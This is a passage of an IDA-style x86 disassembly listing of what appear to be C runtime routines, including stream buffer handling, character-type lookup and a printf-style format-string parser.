		pop	ebx
		leave
		retn
sub_41F192	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F302	proc near		; CODE XREF: sub_41BB98p
		mov	edx, ds:dword_4E2940
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41F373
		mov	ebx, ds:dword_4E1924
		mov	edi, ebx


loc_41F31E:				; CODE XREF: sub_41F302+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41F339
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41F334
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41F31E
		jmp	short loc_41F373
; ---------------------------------------------------------------------------


loc_41F334:				; CODE XREF: sub_41F302+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41F35D
; ---------------------------------------------------------------------------


loc_41F339:				; CODE XREF: sub_41F302+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41BBCB
		pop	ecx
		mov	ecx, ds:dword_4E1924
		mov	[edi+ecx], eax
		mov	eax, ds:dword_4E1924
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41F373
		mov	esi, edi


loc_41F35D:				; CODE XREF: sub_41F302+35j
		cmp	esi, ebp
		jz	short loc_41F373
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41F373:				; CODE XREF: sub_41F302+12j
					; sub_41F302+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F302	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F37A	proc near		; CODE XREF: sub_41BD9E+17p
					; sub_41BD9E+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41F398
		mov	ecx, ds:off_442560
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41F3EA
; ---------------------------------------------------------------------------


loc_41F398:				; CODE XREF: sub_41F37A+10j
		mov	ecx, eax
		push	esi
		mov	esi, ds:off_442560
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41F3BD
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41F3C6
; ---------------------------------------------------------------------------


loc_41F3BD:				; CODE XREF: sub_41F37A+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41F3C6:				; CODE XREF: sub_41F37A+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	loc_423B4F
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41F3E6
		leave
		retn
; ---------------------------------------------------------------------------


loc_41F3E6:				; CODE XREF: sub_41F37A+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41F3EA:				; CODE XREF: sub_41F37A+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41F37A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F3EF	proc near		; CODE XREF: sub_41BF36+46p
					; sub_41C030+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41F4F8
		test	al, 40h
		jnz	loc_41F4F8
		test	al, 1
		jz	short loc_41F427
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41F4F8
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_41F427:				; CODE XREF: sub_41F3EF+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F461
		cmp	esi, offset dword_442B58
		jz	short loc_41F44F
		cmp	esi, offset dword_442B78
		jnz	short loc_41F45A


loc_41F44F:				; CODE XREF: sub_41F3EF+56j
		push	ebx
		call	sub_423C98
		test	eax, eax
		pop	ecx
		jnz	short loc_41F461


loc_41F45A:				; CODE XREF: sub_41F3EF+5Ej
		push	esi
		call	sub_423852
		pop	ecx


loc_41F461:				; CODE XREF: sub_41F3EF+4Ej
					; sub_41F3EF+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41F4CE
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41F491
		push	edi
		push	eax
		push	ebx
		call	sub_42280E
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41F4C4
; ---------------------------------------------------------------------------


loc_41F491:				; CODE XREF: sub_41F3EF+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41F4AC
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, ds:dword_4E1820[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41F4B1
; ---------------------------------------------------------------------------


loc_41F4AC:				; CODE XREF: sub_41F3EF+A5j
		mov	eax, offset dword_442E40


loc_41F4B1:				; CODE XREF: sub_41F3EF+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41F4C4
		push	2
		push	0
		push	ebx
		call	sub_42261C
		add	esp, 0Ch


loc_41F4C4:				; CODE XREF: sub_41F3EF+A0j
					; sub_41F3EF+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41F4E2
; ---------------------------------------------------------------------------


loc_41F4CE:				; CODE XREF: sub_41F3EF+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_42280E
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_41F4E2:				; CODE XREF: sub_41F3EF+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41F4EE
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41F4FD
; ---------------------------------------------------------------------------


loc_41F4EE:				; CODE XREF: sub_41F3EF+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41F500
; ---------------------------------------------------------------------------


loc_41F4F8:				; CODE XREF: sub_41F3EF+10j
					; sub_41F3EF+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41F4FD:				; CODE XREF: sub_41F3EF+FDj
		or	eax, 0FFFFFFFFh


loc_41F500:				; CODE XREF: sub_41F3EF+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41F3EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F504	proc near		; CODE XREF: sub_41BF36+29p
					; sub_41C030+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41FC1D
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41F538
; ---------------------------------------------------------------------------


loc_41F530:				; CODE XREF: sub_41F504+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_41F538:				; CODE XREF: sub_41F504+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41FC1D
		cmp	bl, 20h
		jl	short loc_41F559
		cmp	bl, 78h
		jg	short loc_41F559
		movsx	eax, bl
		mov	al, byte ptr ds:flt_42770C[eax]
		and	eax, 0Fh
		jmp	short loc_41F55B
; ---------------------------------------------------------------------------


loc_41F559:				; CODE XREF: sub_41F504+40j
					; sub_41F504+45j
		xor	eax, eax


loc_41F55B:				; CODE XREF: sub_41F504+53j
		movsx	eax, ds:byte_42772C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41FC0C	; default
		jmp	ds:off_41FC25[eax*4] ; switch jump


loc_41F579:				; DATA XREF: seg000:off_41FC25o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041F572 case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41FC0C	; default
; ---------------------------------------------------------------------------


loc_41F594:				; CODE XREF: sub_41F504+6Ej
					; DATA XREF: seg000:off_41FC25o
		movsx	eax, bl		; jumptable 0041F572 case 2
		sub	eax, 20h
		jz	short loc_41F5D7
		sub	eax, 3
		jz	short loc_41F5CE
		sub	eax, 8
		jz	short loc_41F5C5
		dec	eax
		dec	eax
		jz	short loc_41F5BC
		sub	eax, 3
		jnz	loc_41FC0C	; default
		or	[ebp+var_4], 8
		jmp	loc_41FC0C	; default
; ---------------------------------------------------------------------------


loc_41F5BC:				; CODE XREF: sub_41F504+A4j
		or	[ebp+var_4], 4
		jmp	loc_41FC0C	; default
; ---------------------------------------------------------------------------


loc_41F5C5:				; CODE XREF: sub_41F504+A0j
		or	[ebp+var_4], 1
		jmp	loc_41FC0C	; default
; ---------------------------------------------------------------------------


loc_41F5CE:				; CODE XREF: sub_41F504+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41FC0C	; default
; ---------------------------------------------------------------------------


loc_41F5D7:				; CODE XREF: sub_41F504+96j
		or	[ebp+var_4], 2
		jmp	loc_41FC0C	; default
; ---------------------------------------------------------------------------


loc_41F5E0:				; CODE XREF: sub_41F504+6Ej
					; DATA XREF: seg000:off_41FC25o
		cmp	bl, 2Ah		; jumptable 0041F572 case 3
		jnz	short loc_41F608
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FCE3
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41FC0C	; default
		or	[ebp+var_4], 4
		neg	eax


loc_41F600:				; CODE XREF: sub_41F504+111j
		mov	[ebp+var_20], eax
		jmp	loc_41FC0C	; default
; ---------------------------------------------------------------------------


loc_41F608:				; CODE XREF: sub_41F504+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_41F600
; ---------------------------------------------------------------------------


loc_41F617:				; CODE XREF: sub_41F504+6Ej
					; DATA XREF: seg000:off_41FC25o
		mov	[ebp+var_10], edx ; jumptable 0041F572 case 4
		jmp	loc_41FC0C	; default
; ---------------------------------------------------------------------------


loc_41F61F:				; CODE XREF: sub_41F504+6Ej
					; DATA XREF: seg000:off_41FC25o
		cmp	bl, 2Ah		; jumptable 0041F572 case 5
		jnz	short loc_41F642
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FCE3
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41FC0C	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41FC0C	; default
; ---------------------------------------------------------------------------


loc_41F642:				; CODE XREF: sub_41F504+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41FC0C	; default
; ---------------------------------------------------------------------------


loc_41F654:				; CODE XREF: sub_41F504+6Ej
					; DATA XREF: seg000:off_41FC25o
		cmp	bl, 49h		; jumptable 0041F572 case 6
		jz	short loc_41F687
		cmp	bl, 68h
		jz	short loc_41F67E
		cmp	bl, 6Ch
		jz	short loc_41F675
		cmp	bl, 77h
		jnz	loc_41FC0C	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41FC0C	; default
; ---------------------------------------------------------------------------


loc_41F675:				; CODE XREF: sub_41F504+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41FC0C	; default
; ---------------------------------------------------------------------------


loc_41F67E:				; CODE XREF: sub_41F504+158j
		or	[ebp+var_4], 20h
		jmp	loc_41FC0C	; default
; ---------------------------------------------------------------------------


loc_41F687:				; CODE XREF: sub_41F504+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_41F6A0
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_41F6A0
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41FC0C	; default
; ---------------------------------------------------------------------------


loc_41F6A0:				; CODE XREF: sub_41F504+186j
					; sub_41F504+18Cj
		mov	[ebp+var_30], edx


loc_41F6A3:				; CODE XREF: sub_41F504+6Ej
					; DATA XREF: seg000:off_41FC25o
		mov	ecx, ds:off_442560 ; jumptable 0041F572	case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41F6CF
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FC45
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_41F6CF:				; CODE XREF: sub_41F504+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FC45
		add	esp, 0Ch
		jmp	loc_41FC0C	; default
; ---------------------------------------------------------------------------


loc_41F6E7:				; CODE XREF: sub_41F504+6Ej
					; DATA XREF: seg000:off_41FC25o
		movsx	eax, bl		; jumptable 0041F572 case 7
		cmp	eax, 67h
		jg	loc_41F90F
		cmp	eax, 65h
		jge	loc_41F792
		cmp	eax, 58h
		jg	loc_41F7F0
		jz	loc_41F983
		sub	eax, 43h
		jz	loc_41F7B3
		dec	eax
		dec	eax
		jz	short loc_41F788
		dec	eax
		dec	eax
		jz	short loc_41F788
		sub	eax, 0Ch
		jnz	loc_41FB0E
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F731
		or	byte ptr [ebp+var_4+1],	8


loc_41F731:				; CODE XREF: sub_41F504+227j
					; sub_41F504+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41F73E
		mov	esi, 7FFFFFFFh


loc_41F73E:				; CODE XREF: sub_41F504+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FCE3
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41F957
		test	ecx, ecx
		jnz	short loc_41F766
		mov	ecx, ds:off_44277C
		mov	[ebp+var_8], ecx


loc_41F766:				; CODE XREF: sub_41F504+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_41F76F:				; CODE XREF: sub_41F504+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41F94E
		cmp	word ptr [eax],	0
		jz	loc_41F94E
		inc	eax
		inc	eax
		jmp	short loc_41F76F
; ---------------------------------------------------------------------------


loc_41F788:				; CODE XREF: sub_41F504+212j
					; sub_41F504+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_41F792:				; CODE XREF: sub_41F504+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41F876
		mov	[ebp+var_10], 6
		jmp	loc_41F884
; ---------------------------------------------------------------------------


loc_41F7B3:				; CODE XREF: sub_41F504+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F7BF
		or	byte ptr [ebp+var_4+1],	8


loc_41F7BF:				; CODE XREF: sub_41F504+2B5j
					; sub_41F504+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41F806
		call	sub_41FD00
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_423CBE
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41F819
		mov	[ebp+var_28], 1
		jmp	short loc_41F819
; ---------------------------------------------------------------------------


loc_41F7F0:				; CODE XREF: sub_41F504+1FBj
		sub	eax, 5Ah
		jz	short loc_41F827
		sub	eax, 9
		jz	short loc_41F7BF
		dec	eax
		jz	loc_41F9E9
		jmp	loc_41FB0E
; ---------------------------------------------------------------------------


loc_41F806:				; CODE XREF: sub_41F504+2C5j
		call	sub_41FCE3
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_41F819:				; CODE XREF: sub_41F504+2E1j
					; sub_41F504+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41FB0E
; ---------------------------------------------------------------------------


loc_41F827:				; CODE XREF: sub_41F504+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FCE3
		test	eax, eax
		pop	ecx
		jz	short loc_41F868
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41F868
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41F859
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41FB0E
; ---------------------------------------------------------------------------


loc_41F859:				; CODE XREF: sub_41F504+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41FB0B
; ---------------------------------------------------------------------------


loc_41F868:				; CODE XREF: sub_41F504+32Fj
					; sub_41F504+336j
		mov	eax, ds:off_442778
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41F904
; ---------------------------------------------------------------------------


loc_41F876:				; CODE XREF: sub_41F504+29Dj
		jnz	short loc_41F884
		cmp	bl, 67h
		jnz	short loc_41F884
		mov	[ebp+var_10], 1


loc_41F884:				; CODE XREF: sub_41F504+2AAj
					; sub_41F504:loc_41F876j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	ds:off_442B08
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41F8D6
		cmp	[ebp+var_10], 0
		jnz	short loc_41F8D6
		lea	eax, [ebp+var_248]
		push	eax
		call	ds:off_442B14
		pop	ecx


loc_41F8D6:				; CODE XREF: sub_41F504+3BCj
					; sub_41F504+3C2j
		cmp	bl, 67h
		jnz	short loc_41F8ED
		test	esi, esi
		jnz	short loc_41F8ED
		lea	eax, [ebp+var_248]
		push	eax
		call	ds:off_442B0C
		pop	ecx


loc_41F8ED:				; CODE XREF: sub_41F504+3D5j
					; sub_41F504+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41F903
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_41F903:				; CODE XREF: sub_41F504+3F0j
		push	edi


loc_41F904:				; CODE XREF: sub_41F504+36Dj
		call	sub_41B890
		pop	ecx
		jmp	loc_41FB0B
; ---------------------------------------------------------------------------


loc_41F90F:				; CODE XREF: sub_41F504+1E9j
		sub	eax, 69h
		jz	loc_41F9E9
		sub	eax, 5
		jz	loc_41F9BF
		dec	eax
		jz	loc_41F9AC
		dec	eax
		jz	short loc_41F97C
		sub	eax, 3
		jz	loc_41F731
		dec	eax
		dec	eax
		jz	loc_41F9ED
		sub	eax, 3
		jnz	loc_41FB0E
		mov	[ebp+var_2C], 27h
		jmp	short loc_41F98A
; ---------------------------------------------------------------------------


loc_41F94E:				; CODE XREF: sub_41F504+270j
					; sub_41F504+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41FB0B
; ---------------------------------------------------------------------------


loc_41F957:				; CODE XREF: sub_41F504+24Fj
		test	ecx, ecx
		jnz	short loc_41F964
		mov	ecx, ds:off_442778
		mov	[ebp+var_8], ecx


loc_41F964:				; CODE XREF: sub_41F504+455j
		mov	eax, ecx


loc_41F966:				; CODE XREF: sub_41F504+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41F975
		cmp	byte ptr [eax],	0
		jz	short loc_41F975
		inc	eax
		jmp	short loc_41F966
; ---------------------------------------------------------------------------


loc_41F975:				; CODE XREF: sub_41F504+467j
					; sub_41F504+46Cj
		sub	eax, ecx
		jmp	loc_41FB0B
; ---------------------------------------------------------------------------


loc_41F97C:				; CODE XREF: sub_41F504+425j
		mov	[ebp+var_10], 8


loc_41F983:				; CODE XREF: sub_41F504+201j
		mov	[ebp+var_2C], 7


loc_41F98A:				; CODE XREF: sub_41F504+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41F9F4
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41F9F4
; ---------------------------------------------------------------------------


loc_41F9AC:				; CODE XREF: sub_41F504+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41F9F4
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41F9F4
; ---------------------------------------------------------------------------


loc_41F9BF:				; CODE XREF: sub_41F504+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FCE3
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41F9D8
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41F9DD
; ---------------------------------------------------------------------------


loc_41F9D8:				; CODE XREF: sub_41F504+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_41F9DD:				; CODE XREF: sub_41F504+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41FC0C	; default
; ---------------------------------------------------------------------------


loc_41F9E9:				; CODE XREF: sub_41F504+2F7j
					; sub_41F504+40Ej
		or	[ebp+var_4], 40h


loc_41F9ED:				; CODE XREF: sub_41F504+432j
		mov	[ebp+var_C], 0Ah


loc_41F9F4:				; CODE XREF: sub_41F504+491j
					; sub_41F504+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41FA06
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FCF0
		pop	ecx
		jmp	short loc_41FA47
; ---------------------------------------------------------------------------


loc_41FA06:				; CODE XREF: sub_41F504+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41FA2D
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FA22
		call	sub_41FCE3
		pop	ecx
		movsx	eax, ax


loc_41FA1F:				; CODE XREF: sub_41F504+527j
					; sub_41F504+539j
		cdq
		jmp	short loc_41FA47
; ---------------------------------------------------------------------------


loc_41FA22:				; CODE XREF: sub_41F504+510j
		call	sub_41FCE3
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41FA1F
; ---------------------------------------------------------------------------


loc_41FA2D:				; CODE XREF: sub_41F504+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FA3F
		call	sub_41FCE3
		pop	ecx
		jmp	short loc_41FA1F
; ---------------------------------------------------------------------------


loc_41FA3F:				; CODE XREF: sub_41F504+531j
		call	sub_41FCE3
		pop	ecx
		xor	edx, edx


loc_41FA47:				; CODE XREF: sub_41F504+500j
					; sub_41F504+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41FA68
		test	edx, edx
		jg	short loc_41FA68
		jl	short loc_41FA57
		test	eax, eax
		jnb	short loc_41FA68


loc_41FA57:				; CODE XREF: sub_41F504+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41FA6C
; ---------------------------------------------------------------------------


loc_41FA68:				; CODE XREF: sub_41F504+547j
					; sub_41F504+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_41FA6C:				; CODE XREF: sub_41F504+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41FA75
		and	edi, 0


loc_41FA75:				; CODE XREF: sub_41F504+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41FA84
		mov	[ebp+var_10], 1
		jmp	short loc_41FA88
; ---------------------------------------------------------------------------


loc_41FA84:				; CODE XREF: sub_41F504+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_41FA88:				; CODE XREF: sub_41F504+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41FA92
		and	[ebp+var_1C], 0


loc_41FA92:				; CODE XREF: sub_41F504+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_41FA98:				; CODE XREF: sub_41F504+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41FAA8
		mov	eax, esi
		or	eax, edi
		jz	short loc_41FAE3


loc_41FAA8:				; CODE XREF: sub_41F504+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41DB50
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41DAE0
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41FAD9
		add	ebx, [ebp+var_2C]


loc_41FAD9:				; CODE XREF: sub_41F504+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41FA98
; ---------------------------------------------------------------------------


loc_41FAE3:				; CODE XREF: sub_41F504+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41FB0E
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41FB01
		test	eax, eax
		jnz	short loc_41FB0E


loc_41FB01:				; CODE XREF: sub_41F504+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_41FB0B:				; CODE XREF: sub_41F504+35Fj
					; sub_41F504+406j ...
		mov	[ebp+var_C], eax


loc_41FB0E:				; CODE XREF: sub_41F504+21Bj
					; sub_41F504+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41FC0C	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41FB46
		test	bh, 1
		jz	short loc_41FB2B
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41FB3F
; ---------------------------------------------------------------------------


loc_41FB2B:				; CODE XREF: sub_41F504+61Fj
		test	bl, 1
		jz	short loc_41FB36
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41FB3F
; ---------------------------------------------------------------------------


loc_41FB36:				; CODE XREF: sub_41F504+62Aj
		test	bl, 2
		jz	short loc_41FB46
		mov	[ebp+var_16], 20h


loc_41FB3F:				; CODE XREF: sub_41F504+625j
					; sub_41F504+630j
		mov	[ebp+var_1C], 1


loc_41FB46:				; CODE XREF: sub_41F504+61Aj
					; sub_41F504+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41FB66
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FC7A
		add	esp, 10h


loc_41FB66:				; CODE XREF: sub_41F504+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41FCAB
		add	esp, 10h
		test	bl, 8
		jz	short loc_41FB98
		test	bl, 4
		jnz	short loc_41FB98
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41FC7A
		add	esp, 10h


